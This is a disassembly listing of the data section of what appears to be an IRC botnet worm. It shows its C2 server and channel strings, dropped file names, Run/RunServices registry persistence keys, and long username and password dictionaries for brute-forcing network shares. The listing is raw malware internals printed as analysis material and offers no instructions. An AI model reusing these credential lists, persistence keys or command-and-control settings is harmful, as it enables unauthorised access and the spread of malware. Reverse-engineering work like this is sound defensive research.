		align 10h
unk_42BF70	db    2			; DATA XREF: seg000:0040BEC7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42BFB8	db    2			; DATA XREF: seg000:0040BE84o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42BFFC	db    2			; DATA XREF: seg000:0040BE72o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42C048	db    2			; DATA XREF: seg000:0040BD66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40C297:loc_40C2DAo
					; sub_413629+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40C297:loc_40C2D4o
aDisk		db 'Disk',0             ; DATA XREF: sub_40C297:loc_40C2CEo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40C297:loc_40C2C8o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40C297:loc_40C2C2o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40C297:loc_40C2BCo
aFailed		db 'failed',0           ; DATA XREF: sub_40C328:loc_40C400o
					; sub_40C443+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_40C328+6Bo
		align 10h
dword_42C0C0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C443+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 10h
dword_42C110	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C443+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 10h
aA_0		db 'A:\',0              ; DATA XREF: sub_40C515:loc_40C55Ao
		dd 2 dup(1A0Ch)
dword_42C16C	dd 1AA6h	dword_42C170	dd 0E90h						; seg000:00411CC0r
dword_42C174	dd 15F1h						; seg000:loc_411DB2r
dword_42C178	dd 1		dword_42C17C	dd 1		dword_42C180	dd 1		byte_42C184	db 78h			; DATA XREF: seg000:loc_40C1EDr
					; seg000:0040D94Br ...
		align 4
dword_42C188	dd 9							; sub_4140CA+51r ...
dword_42C18C	dd 1							; seg000:0040D0D1r ...
aIds443vbc	db 'ids443vbc',0        ; DATA XREF: sub_40C682+67o
					; seg000:00410B62o ...
		align 4
aEnz9_9bvcb34	db 'enz 9.9bvcb34',0    ; DATA XREF: seg000:loc_412861o
		align 4
aHi		db 'hi',0               ; DATA XREF: seg000:004129E4o
					; seg000:00412AB3o
		align 10h
aM_drd3h_com	db 'm.DRD3H.COM',0
aDc		db '#dc',0
aDcpass		db 'dcpass',0
		align 4
aM_drd3h_com_0	db 'm.DRD3H.COM',0
aDc_0		db '#dc',0
aDcpass_0	db 'dcpass',0
		align 10h
aCilevb_com	db 'Cilevb.com',0       ; DATA XREF: sub_40283D+84o
					; sub_403178+Fo ...
		align 4
aCilevb_dll	db 'Cilevb.dll',0       ; DATA XREF: seg000:00402157o
		align 4
aCopicTilevb	db 'Copic Tilevb',0     ; DATA XREF: sub_40B3AE+Eo
		align 4
aCbb		db 'Cbb-',0             ; DATA XREF: sub_4140CA+12o
		align 10h
aCilevb_com_0	db 'Cilevb.com',0
		align 4
aXI		db '+x+i',0             ; DATA XREF: seg000:00412B2Co
		align 4
aCbb_0		db '#cbb',0             ; DATA XREF: seg000:loc_40FFA4o
					; seg000:00411B26o ...
		align 4
aSs		db '#ss',0              ; DATA XREF: seg000:0040EC10o
aSs_0		db '#ss',0              ; DATA XREF: seg000:0040EA59o
a19759		db '19759',0            ; DATA XREF: sub_40283D+9Ao
		align 4
aVb		db 'vb',0               ; DATA XREF: sub_40283D+95o
		align 10h
aVb_		db 'vb.',0              ; DATA XREF: sub_40283D+90o
off_42C244	dd offset a@room	; DATA XREF: seg000:loc_412A40o
					; "*@room"
off_42C248	dd offset aMirc1_6_99	; DATA XREF: seg000:0040D71Br
					; seg000:00412A5Co
					; "mirc	1.6.99"
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4146BC+28o
					; sub_4149E0+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4146BC+D4o
					; sub_4149E0+D4o
		align 4
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		dd 0
off_42C34C	dd offset byte_438FAC	; DATA XREF: sub_404F08:loc_404FBDr
					; sub_404F08+C2o
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_432C44	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
